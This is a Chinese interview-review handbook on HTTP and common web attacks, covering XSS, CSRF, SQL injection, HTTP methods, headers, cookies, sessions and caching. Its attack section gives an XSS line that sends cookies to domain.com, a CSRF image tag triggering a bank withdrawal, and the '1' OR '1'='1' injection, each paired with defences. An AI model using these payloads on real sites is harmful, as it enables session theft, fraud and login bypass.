HTTP应知应会知识点复习手册（下）

时间 2019-11-17

标签 http 知识复习手册栏目 HTTP/TCP 繁體版

原文原文链接

前言

本文快速回顾了常考的的知识点，用做面试复习，事半功倍。javascript

面试知识点复习手册

全复习手册文章导航html

Csdn全复习手册文章导航：java

blog.csdn.net/qqxx6661/ar…node

已发布知识点复习手册git

本文参考

本文内容主要参考来自CyC2018的Github仓库：CS-Notesgithub

有删减，修改，补充额外增长内容面试

本做品采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可。算法

--------------------正文-----------------------

Web 攻击技术

跨站脚本攻击XSS

还可参考：blog.csdn.net/lpjishu/art…sql

1. 概念

跨站脚本攻击（Cross-Site Scripting, XSS），能够将代码注入到用户浏览的网页上，这种代码包括 HTML 和 JavaScript。数据库

例若有一个论坛网站，攻击者能够在上面发布如下内容：

<script>location.href="//domain.com/?c=" + document.cookie</script>
复制代码

以后该内容可能会被渲染成如下形式：

<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
复制代码

另外一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前做用域的 Cookie。若是这个论坛网站经过 Cookie 管理用户登陆状态，那么攻击者就能够经过这个 Cookie 登陆被攻击者的帐号了。

2. 危害

窃取用户的 Cookie 值
伪造虚假的输入表单骗取我的信息
显示伪造的文章或者图片

3. 防范手段

（一）设置 Cookie 为 HttpOnly

设置了 HttpOnly 的 Cookie 能够防止 JavaScript 脚本调用，在必定程度上能够防止 XSS 窃取用户的 Cookie 信息。

（二）过滤特殊字符

许多语言都提供了对 HTML 的过滤：

PHP 的 htmlentities() 或是 htmlspecialchars()。
Python 的 cgi.escape()。
Java 的 xssprotect (Open Source Library)。
Node.js 的 node-validator。

例如 htmlspecialchars() 能够将 < 转义为 <，将 > 转义为 >，从而避免 HTML 和 Javascript 代码的运行。

（三）富文本编辑器的处理

富文本编辑器容许用户输入 HTML 代码，就不能简单地将 < 等字符进行过滤了，极大地提升了 XSS 攻击的可能性。

富文本编辑器一般采用 XSS filter 来防范 XSS 攻击，能够定义一些标签白名单或者黑名单，从而不容许有攻击性的 HTML 代码的输入。

如下例子中，form 和 script 等标签都被转义，而 h 和 p 等标签将会保留。

XSS 过滤在线测试

跨站请求伪造CSRF

XSS 利用的是用户对指定网站的信任，CSRF 利用的是网站对用户浏览器的信任。

1. 概念

跨站请求伪造（Cross-site request forgery，CSRF），是攻击者经过一些技术手段欺骗用户的浏览器去访问一个本身曾经认证过的网站并执行一些操做（如发邮件，发消息，甚至财产操做如转帐和购买商品）。因为浏览器曾经认证过，因此被访问的网站会认为是真正的用户操做而去执行。这利用了 Web 中用户身份验证的一个漏洞：简单的身份验证只能保证请求发自某个用户的浏览器，却不能保证请求自己是用户自愿发出的。

假如一家银行用以执行转帐操做的 URL 地址以下：

http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
复制代码

那么，一个恶意攻击者能够在另外一个网站上放置以下代码：

<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。
复制代码

若是有帐户名为 Alice 的用户访问了恶意站点，而她以前刚访问过银行不久，登陆信息还没有过时，那么她就会损失 1000 资金。

这种恶意的网址能够有不少种形式，藏身于网页中的许多地方。此外，攻击者也不须要控制放置恶意网址的网站。例如他能够将这种地址藏在论坛，博客等任何用户生成内容的网站中。这意味着若是服务器端没有合适的防护措施的话，用户即便访问熟悉的可信网站也有受攻击的危险。

透过例子可以看出，攻击者并不能经过 CSRF 攻击来直接获取用户的帐户控制权，也不能直接窃取用户的任何信息。他们能作到的，是欺骗用户浏览器，让其以用户的名义执行操做。

2. 防范手段

（一）检查 Referer 字段

HTTP 头中有一个 Referer 字段，这个字段用于标明请求来源于哪一个地址。在处理敏感数据请求时，一般来讲，Referer 字段应和请求的地址位于同一域名下，但并没有法保证来访的浏览器的具体实现，亦没法保证浏览器没有安全漏洞影响到此字段。而且也存在攻击者攻击某些浏览器，篡改其 Referer 字段的可能。

（二）添加校验 Token

因为 CSRF 的本质在于攻击者欺骗用户去访问本身设置的地址，因此若是要求在访问敏感数据请求时，要求用户浏览器提供不保存在 Cookie 中，而且攻击者没法伪造的数据做为校验，那么攻击者就没法再执行 CSRF 攻击。这种数据一般是表单中的一个数据项。服务器将其生成并附加在表单中，其内容是一个伪乱数。当客户端经过表单提交请求时，这个伪乱数也一并提交上去以供校验。

正常的访问时，客户端浏览器可以正确获得并传回这个伪乱数，而经过 CSRF 传来的欺骗性攻击中，攻击者无从事先得知这个伪乱数的值，服务器端就会由于校验 Token 的值为空或者错误，拒绝这个可疑请求。

（三）要求用户输入验证码来进行校验。

SQL 注入攻击

1. 概念

服务器上的数据库运行非法的 SQL 语句，主要经过拼接来完成。

2. 攻击原理

例如一个网站登陆验证的 SQL 查询代码为：

strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
复制代码

若是填入如下内容：

userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";
复制代码

那么 SQL 查询字符串为：

strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
复制代码

此时无需验证经过就能执行如下查询：

strSQL = "SELECT * FROM users;"
复制代码

3. 防范手段

（一）使用参数化查询（不进行拼接）

如下以 Java 中的 PreparedStatement 为例，它是预先编译的 SQL 语句，能够传入适当参数而且屡次执行。因为没有拼接的过程，所以能够防止 SQL 注入的发生。

PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
stmt.setString(1, userid);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
复制代码

（二）单引号转换

将传入的参数中的单引号转换为连续两个单引号

（三）检查变量数据类型和格式

拒绝服务攻击

拒绝服务攻击（denial-of-service attack，DoS），亦称洪水攻击，其目的在于使目标电脑的网络或系统资源耗尽，使服务暂时中断或中止，致使其正经常使用户没法访问。

分布式拒绝服务攻击（distributed denial-of-service attack，DDoS），指攻击者使用网络上两个或以上被攻陷的电脑做为“僵尸”向特定的目标发动“拒绝服务”式攻击。

维基百科：拒绝服务攻击

基础概念

URI

URI 包含 URL 和 URN。

URI（Uniform Resource Identifier，统一资源标识符）
URL（Uniform Resource Locator，统一资源定位符）
URN（Uniform Resource Name，统一资源名称）

HTTP请求报文和HTTP响应报文

HTTP请求报文

一个HTTP请求报文由请求行（request line）、请求头部（header）、空行和请求数据4个部分组成，下图给出了请求报文的通常格式。

＜request-line＞ 请求行
＜headers＞ 请求头
＜blank line＞ 空格
＜request-body＞ 请求数据
复制代码

HTTP响应报文

HTTP响应也由三个部分组成，分别是：状态行、消息报头、响应正文。

＜status-line＞
＜headers＞
＜blank line＞
＜response-body＞
复制代码

GET

获取资源

当前网络请求中，绝大部分使用的是 GET 方法。

HEAD

获取报文首部

和 GET 方法同样，可是不返回报文实体主体部分。

主要用于确认 URL 的有效性以及资源更新的日期时间等。

POST

传输实体主体

POST 主要用来传输数据，而 GET 主要用来获取资源。

更多 POST 与 GET 的比较请见第八章。

PUT

上传文件

因为自身不带验证机制，任何人均可以上传文件，所以存在安全性问题，通常不使用该方法

PATCH

对资源进行部分修改

PUT 也能够用于修改资源，可是只能彻底替代原始资源，PATCH 容许部分修改。

DELETE

删除文件

与 PUT 功能相反，而且一样不带验证机制。

DELETE /file.html HTTP/1.1
复制代码

OPTIONS

查询支持的方法

查询指定的 URL 可以支持的方法。

会返回 Allow: GET, POST, HEAD, OPTIONS 这样的内容。

CONNECT

要求用隧道协议链接代理

要求在与代理服务器通讯时创建隧道，使用 SSL（Secure Sockets Layer，安全套接层）和 TLS（Transport Layer Security，传输层安全）协议把通讯内容加密后经网络隧道传输。

TRACE

追踪路径

服务器会将通讯路径返回给客户端。

发送请求时，在 Max-Forwards 首部字段中填入数值，每通过一个服务器就会减 1，当数值为 0 时就中止传输。

一般不会使用 TRACE，而且它容易受到 XST 攻击（Cross-Site Tracing，跨站追踪），所以更不会去使用它。

HTTP Header

有 4 种类型的首部字段：通用首部字段、请求首部字段、响应首部字段和实体首部字段。

各类首部字段及其含义以下（不须要全记，仅供查阅）：

通用首部字段

首部字段名	说明
Cache-Control	控制缓存的行为
Connection	控制再也不转发给代理的首部字段、管理持久链接
Date	建立报文的日期时间
Pragma	报文指令
Trailer	报文末端的首部一览
Transfer-Encoding	指定报文主体的传输编码方式
Upgrade	升级为其余协议
Via	代理服务器的相关信息
Warning	错误通知

请求首部字段

首部字段名	说明
Accept	用户代理可处理的媒体类型
Accept-Charset	优先的字符集
Accept-Encoding	优先的内容编码
Accept-Language	优先的语言（天然语言）
Authorization	Web 认证信息
Expect	期待服务器的特定行为
From	用户的电子邮箱地址
Host	请求资源所在服务器
If-Match	比较实体标记（ETag）
If-Modified-Since	比较资源的更新时间
If-None-Match	比较实体标记（与 If-Match 相反）
If-Range	资源未更新时发送实体 Byte 的范围请求
If-Unmodified-Since	比较资源的更新时间（与 If-Modified-Since 相反）
Max-Forwards	最大传输逐跳数
Proxy-Authorization	代理服务器要求客户端的认证信息
Range	实体的字节范围请求
Referer	对请求中 URI 的原始获取方
TE	传输编码的优先级
User-Agent	HTTP 客户端程序的信息

响应首部字段

首部字段名	说明
Accept-Ranges	是否接受字节范围请求
Age	推算资源建立通过时间
ETag	资源的匹配信息
Location	令客户端重定向至指定 URI
Proxy-Authenticate	代理服务器对客户端的认证信息
Retry-After	对再次发起请求的时机要求
Server	HTTP 服务器的安装信息
Vary	代理服务器缓存的管理信息
WWW-Authenticate	服务器对客户端的认证信息

实体首部字段

首部字段名	说明
Allow	资源可支持的 HTTP 方法
Content-Encoding	实体主体适用的编码方式
Content-Language	实体主体的天然语言
Content-Length	实体主体的大小
Content-Location	替代对应资源的 URI
Content-MD5	实体主体的报文摘要
Content-Range	实体主体的位置范围
Content-Type	实体主体的媒体类型
Expires	实体主体过时的日期时间
Last-Modified	资源的最后修改日期时间

具体应用

Cookie

HTTP/1.1 引入 Cookie 来保存状态信息。

1. 用途

会话状态管理（如用户登陆状态、购物车、游戏分数或其它须要记录的信息）
个性化设置（如用户自定义设置、主题等）
浏览器行为跟踪（如跟踪分析用户行为等）

因为服务器指定 Cookie 后，浏览器的每次请求都会携带 Cookie 数据，会带来额外的性能开销（尤为是在移动环境下）。

新的浏览器 API 已经容许开发者直接将数据存储到本地，如使用 Web storage API （本地存储和会话存储）或 IndexedDB。

2. 建立过程

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]
复制代码

客户端以后对同一个服务器发送请求时，会从浏览器中取出 Cookie 信息并经过 Cookie 请求首部字段发送给服务器。

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
复制代码

3. 分类

会话期 Cookie：浏览器关闭以后它会被自动删除，也就是说它仅在会话期内有效。
持久性 Cookie：指定一个特定的过时时间（Expires）或有效期（Max-Age）以后就成为了持久性的 Cookie。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
复制代码

4. 做用域

Domain 标识指定了哪些主机能够接受 Cookie。若是不指定，默认为当前文档的主机（不包含子域名）。若是指定了 Domain，则通常包含子域名。例如，若是设置 Domain=mozilla.org，则 Cookie 也包含在子域名中（如 developer.mozilla.org）。

Path 标识指定了主机下的哪些路径能够接受 Cookie（该 URL 路径必须存在于请求 URL 中）。以字符 %x2F ("/") 做为路径分隔符，子路径也会被匹配。例如，设置 Path=/docs，则如下地址都会匹配：

/docs
/docs/Web/
/docs/Web/HTTP

5. JavaScript

经过 Document.cookie 属性可建立新的 Cookie，也可经过该属性访问非 HttpOnly 标记的 Cookie。

document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
复制代码

6. Secure 和 HttpOnly

标记为 Secure 的 Cookie 只应经过被 HTTPS 协议加密过的请求发送给服务端。但即使设置了 Secure 标记，敏感信息也不该该经过 Cookie 传输，由于 Cookie 有其固有的不安全性，Secure 标记也没法提供确实的安全保障。
标记为 HttpOnly 的 Cookie 不能被 JavaScript 脚本调用。由于跨域脚本 (XSS) 攻击经常使用 JavaScript 的 Document.cookie API 窃取用户的 Cookie 信息，所以使用 HttpOnly 标记能够在必定程度上避免 XSS 攻击。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
复制代码

7. Session和cookie选择

除了能够将用户信息经过 Cookie 存储在用户浏览器中，也能够利用 Session 存储在服务器端，存储在服务器端的信息更加安全。

Session 能够存储在服务器上的文件、数据库或者内存中。也能够将 Session 存储在 Redis 这种内存型数据库中，效率会更高。

使用 Session 维护用户登陆状态的过程以下：

用户进行登陆时，用户提交包含用户名和密码的表单，放入 HTTP 请求报文中；
服务器验证该用户名和密码，若是正确则把用户信息存储到 Redis 中，它在 Redis 中的 Key 称为 Session ID；
服务器返回的响应报文的 Set-Cookie 首部字段包含了这个 Session ID，客户端收到响应报文以后将该 Cookie 值存入浏览器中；
客户端以后对同一个服务器进行请求时会包含该 Cookie 值，服务器收到以后提取出 Session ID，从 Redis 中取出用户信息，继续以前的业务操做。

应该注意 Session ID 的安全性问题，不能让它被恶意攻击者轻易获取，那么就不能产生一个容易被猜到的 Session ID 值。此外，还须要常常从新生成 Session ID。在对安全性要求极高的场景下，例如转帐等操做，除了使用 Session 管理用户状态以外，还须要对用户进行从新验证，好比从新输入密码，或者使用短信验证码等方式。

从存储方式上比较
- Cookie只能存储字符串，若是要存储非ASCII字符串还要对其编码。
- Session能够存储任何类型的数据，能够把Session当作是一个容器
从隐私安全上比较
- Cookie存储在浏览器中，对客户端是可见的。信息容易泄露出去。若是使用Cookie，最好将Cookie加密
- Session存储在服务器上，对客户端是透明的。不存在敏感信息泄露问题。
从有效期上比较
- Cookie保存在硬盘中，只须要设置maxAge属性为比较大的正整数，即便关闭浏览器，Cookie仍是存在的
- Session的保存在服务器中，设置maxInactiveInterval属性值来肯定Session的有效期。而且Session依赖于名为JSESSIONID的Cookie，该Cookie默认的maxAge属性为-1。若是关闭了浏览器，该Session虽然没有从服务器中消亡，但也就失效了。
从对服务器的负担比较
- Session是保存在服务器的，每一个用户都会产生一个Session，若是是并发访问的用户很是多，是不能使用Session的，Session会消耗大量的内存。
- Cookie是保存在客户端的。不占用服务器的资源。像baidu、Sina这样的大型网站，通常都是使用Cookie来进行会话跟踪。
从浏览器的支持上比较
- 若是浏览器禁用了Cookie，那么Cookie是无用的了！
- 若是浏览器禁用了Cookie，Session能够经过URL地址重写来进行会话跟踪。
从跨域名上比较
- Cookie能够设置domain属性来实现跨域名
- Session只在当前的域名内有效，不可夸域名

缓存

1. 优势

缓解服务器压力；
减低客户端获取资源的延迟（缓存资源比服务器上的资源离客户端更近）。

2. 实现方法

让代理服务器进行缓存；
让客户端浏览器进行缓存。

3. Cache-Control

HTTP/1.1 经过 Cache-Control 首部字段来控制缓存。

（一）禁止进行缓存

no-store 指令规定不能对请求或响应的任何一部分进行缓存。

Cache-Control: no-store
复制代码

（二）强制确认缓存

no-cache 指令规定缓存服务器须要先向源服务器验证缓存资源的有效性，只有当缓存资源有效才将能使用该缓存对客户端的请求进行响应。

Cache-Control: no-cache
复制代码

（三）私有缓存和公共缓存

private 指令规定了将资源做为私有缓存，只能被单独用户所使用，通常存储在用户浏览器中。

Cache-Control: private
复制代码

public 指令规定了将资源做为公共缓存，能够被多个用户所使用，通常存储在代理服务器中。

Cache-Control: public
复制代码

（四）缓存过时机制

max-age 指令出如今请求报文中，而且缓存资源的缓存时间小于该指令指定的时间，那么就能接受该缓存。

max-age 指令出如今响应报文中，表示缓存资源在缓存服务器中保存的时间。

Cache-Control: max-age=31536000
复制代码

Expires 字段也能够用于告知缓存服务器该资源何时会过时。在 HTTP/1.1 中，会优先处理 Cache-Control : max-age 指令；而在 HTTP/1.0 中，Cache-Control : max-age 指令会被忽略掉。

Expires: Wed, 04 Jul 2012 08:26:05 GMT
复制代码

4. 缓存验证

须要先了解 ETag 首部字段的含义，它是资源的惟一表示。URL 不能惟一表示资源，例如 http://www.google.com/ 有中文和英文两个资源，只有 ETag 才能对这两个资源进行惟一表示。

ETag: "82e22293907ce725faf67773957acd12"
复制代码

能够将缓存资源的 ETag 值放入 If-None-Match 首部，服务器收到该请求后，判断缓存资源的 ETag 值和资源的最新 ETag 值是否一致，若是一致则表示缓存资源有效，返回 304 Not Modified。

If-None-Match: "82e22293907ce725faf67773957acd12"
复制代码

Last-Modified 首部字段也能够用于缓存验证，它包含在源服务器发送的响应报文中，指示源服务器对资源的最后修改时间。可是它是一种弱校验器，由于只能精确到一秒，因此它一般做为 ETag 的备用方案。若是响应首部字段里含有这个信息，客户端能够在后续的请求中带上 If-Modified-Since 来验证缓存。服务器只在所请求的资源在给定的日期时间以后对内容进行过修改的状况下才会将资源返回，状态码为 200 OK。若是请求的资源从那时起未经修改，那么返回一个不带有消息主体的 304 Not Modified 响应，

Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
复制代码

If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT
复制代码

链接管理

1. 短链接与长链接

HTTP/1.1 开始默认是长链接的，若是要断开链接，须要由客户端或者服务器端提出断开，使用 Connection : close；
HTTP/1.1 以前默认是短链接的，若是须要长链接，则使用 Connection : Keep-Alive。

2. 流水线

默认状况下，HTTP 请求是按顺序发出的，下一个请求只有在当前请求收到应答事后才会被发出。因为会受到网络延迟和带宽的限制，在下一个请求被发送到服务器以前，可能须要等待很长时间。

流水线是在同一条长链接上发出连续的请求，而不用等待响应返回，这样能够避免链接延迟。

内容协商

经过内容协商返回最合适的内容，例如根据浏览器的默认语言选择返回中文界面仍是英文界面。

1. 类型

1.1 服务端驱动型

客户端设置特定的 HTTP 首部字段，例如 Accept、Accept-Charset、Accept-Encoding、Accept-Language，服务器根据这些字段返回特定的资源。

它存在如下问题：

服务器很难知道客户端浏览器的所有信息；
客户端提供的信息至关冗长（HTTP/2 协议的首部压缩机制缓解了这个问题），而且存在隐私风险（HTTP 指纹识别技术）；
给定的资源须要返回不一样的展示形式，共享缓存的效率会下降，而服务器端的实现会愈来愈复杂。

1.2 代理驱动型

服务器返回 300 Multiple Choices 或者 406 Not Acceptable，客户端从中选出最合适的那个资源。

2. Vary

Vary: Accept-Language
复制代码

在使用内容协商的状况下，只有当缓存服务器中的缓存知足内容协商条件时，才能使用该缓存，不然应该向源服务器请求该资源。

例如，一个客户端发送了一个包含 Accept-Language 首部字段的请求以后，源服务器返回的响应包含 Vary: Accept-Language 内容，缓存服务器对这个响应进行缓存以后，在客户端下一次访问同一个 URL 资源，而且 Accept-Language 与缓存中的对应的值相同时才会返回该缓存。

内容编码

内容编码将实体主体进行压缩，从而减小传输的数据量。经常使用的内容编码有：gzip、compress、deflate、identity。

浏览器发送 Accept-Encoding 首部，其中包含有它所支持的压缩算法，以及各自的优先级，服务器则从中选择一种，使用该算法对响应的消息主体进行压缩，而且发送 Content-Encoding 首部来告知浏览器它选择了哪种算法。因为该内容协商过程是基于编码类型来选择资源的展示形式的，在响应中，Vary 首部中至少要包含 Content-Encoding，这样的话，缓存服务器就能够对资源的不一样展示形式进行缓存。

范围请求

若是网络出现中断，服务器只发送了一部分数据，范围请求可使得客户端只请求服务器未发送的那部分数据，从而避免服务器从新发送全部数据。

1. Range

在请求报文中添加 Range 首部字段指定请求的范围。

GET /z4d4kWk.jpg HTTP/1.1
Host: i.imgur.com
Range: bytes=0-1023
复制代码

请求成功的话服务器返回的响应包含 206 Partial Content 状态码。

2. Accept-Ranges

响应首部字段 Accept-Ranges 用于告知客户端是否能处理范围请求，能够处理使用 bytes，不然使用 none。

Accept-Ranges: bytes
复制代码

3. 响应状态码

在请求成功的状况下，服务器会返回 206 Partial Content 状态码。
在请求的范围越界的状况下，服务器会返回 416 Requested Range Not Satisfiable 状态码。
在不支持范围请求的状况下，服务器会返回 200 OK 状态码。

分块传输编码

Chunked Transfer Coding，能够把数据分割成多块，让浏览器逐步显示页面。

多部分对象集合

一份报文主体内可含有多种类型的实体同时发送，每一个部分之间用 boundary 字段定义的分隔符进行分隔，每一个部分均可以有首部字段。

例如，上传多个表单时可使用以下方式：

Content-Type: multipart/form-data; boundary=AaB03x

--AaB03x
Content-Disposition: form-data; name="submit-name"

Larry
--AaB03x
Content-Disposition: form-data; name="files"; filename="file1.txt"
Content-Type: text/plain

... contents of file1.txt ...
--AaB03x--
复制代码